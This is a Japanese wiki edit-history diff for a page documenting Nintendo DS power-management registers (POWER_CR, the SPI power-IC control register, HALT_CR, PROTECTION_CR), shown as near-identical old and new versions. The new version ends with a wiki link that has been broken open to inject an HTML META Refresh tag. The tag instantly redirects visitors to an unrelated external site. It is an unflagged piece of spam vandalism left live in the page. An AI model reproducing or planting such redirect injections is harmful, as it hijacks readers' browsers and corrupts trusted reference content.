システム - パワーマネジメント

「システム - パワーマネジメント」の編集履歴(バックアップ)一覧はこちら

システム - パワーマネジメント」(2007/12/09 (日) 22:19:02) の最新版変更点

追加された行は緑色になります。

削除された行は赤色になります。

-POWER_CR (0x04000304:16) ARM9 |ビット|名前| |15|LCD 選択| |14..10|-| |9|2D コア B 電源| |8|-| |7..3|-| |3|ジオメトリエンジンの電源| |2|ラスタライズエンジンの電源| |1|2D コア A の電源| |0|スクリーンの電源| LCD 選択 ビット : -0: 2D コア B が上画面に表示されます。2D コア A は下画面に表示されます。 -1: 2D コア A が上画面に表示されます。2D コア B は下画面に表示されます。 それぞれのデバイスの電源状態は次の値で設定します。 -0: オフ -1: オン -POWER_CR (0x04000304:16) ARM7 |ビット|名前| |15..2|読み込み時0、書き込み無視| |1|Wifi 電源| |0|スピーカ電源| それぞれのデバイスの電源状態は次の値で設定します。 -0: オフ -1: オン ARM7 SPIバスに接続された電源管理ICへのコマンド |0x00|コントロールレジスタ書き込み| |0x80|コントロールレジスタ読み込み| You write the command, then the argument (or 0 for a read). コントロールレジスタのフォーマット |7|テストが必要…| |6|DS 電源 (0: オン, 1: シャットダウン)| |5..4|LED コントロール| |3|上画面バックライト (0: オフ, 1: オン)| |2|下画面バックライト (0: オフ, 1: オン)| |1|ボリュームスライダー (1: 有効, 0: 無効)| |0|サウンドハードウェア電源 (1: オン, 0: オフ)| ボリュームスライダーを無効にした場合、サウンド出力は最大ボリュームになります。 HALT_CR (0x04000300:16) |ビット|名前| |15|?| |14|GBA モード (but aparently can't be set from user code)| |1|Dunno| |0|First boot bit maybe| Write HALT_CR with the BIOS appropriate bios function. ARM9: 0003 retained with ffff write, 0001 always (write 0000 and it reads 0001) ARM7: 8001 retained with ffff or 0000 write, hmm PROTECTION_CR (0x1204) reads 0x1204, cannot be written to, so sad. (ARM7 bios writes 0x1205 to it, low bit must be latch and never allow to be modified) ----
-POWER_CR (0x04000304:16) ARM9 |ビット|名前| |15|LCD 選択| |14..10|-| |9|2D コア B 電源| |8|-| |7..3|-| |3|ジオメトリエンジンの電源| |2|ラスタライズエンジンの電源| |1|2D コア A の電源| |0|スクリーンの電源| LCD 選択 ビット : -0: 2D コア B が上画面に表示されます。2D コア A は下画面に表示されます。 -1: 2D コア A が上画面に表示されます。2D コア B は下画面に表示されます。 それぞれのデバイスの電源状態は次の値で設定します。 -0: オフ -1: オン -POWER_CR (0x04000304:16) ARM7 |ビット|名前| |15..2|読み込み時0、書き込み無視| |1|Wifi 電源| |0|スピーカ電源| それぞれのデバイスの電源状態は次の値で設定します。 -0: オフ -1: オン ARM7 SPIバスに接続された電源管理ICへのコマンド |0x00|コントロールレジスタ書き込み| |0x80|コントロールレジスタ読み込み| You write the command, then the argument (or 0 for a read). コントロールレジスタのフォーマット |7|テストが必要…| |6|DS 電源 (0: オン, 1: シャットダウン)| |5..4|LED コントロール| |3|上画面バックライト (0: オフ, 1: オン)| |2|下画面バックライト (0: オフ, 1: オン)| |1|ボリュームスライダー (1: 有効, 0: 無効)| |0|サウンドハードウェア電源 (1: オン, 0: オフ)| ボリュームスライダーを無効にした場合、サウンド出力は最大ボリュームになります。 HALT_CR (0x04000300:16) |ビット|名前| |15|?| |14|GBA モード (but aparently can&#039;t be set from user code)| |1|Dunno| |0|First boot bit maybe| Write HALT_CR with the BIOS appropriate bios function. ARM9: 0003 retained with ffff write, 0001 always (write 0000 and it reads 0001) ARM7: 8001 retained with ffff or 0000 write, hmm PROTECTION_CR (0x1204) reads 0x1204, cannot be written to, so sad. (ARM7 bios writes 0x1205 to it, low bit must be latch and never allow to be modified) ---- [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

表示オプション

横に並べて表示:
変化行の前後のみ表示:
ツールボックス

下から選んでください:

新しいページを作成する
ヘルプ / FAQ もご覧ください。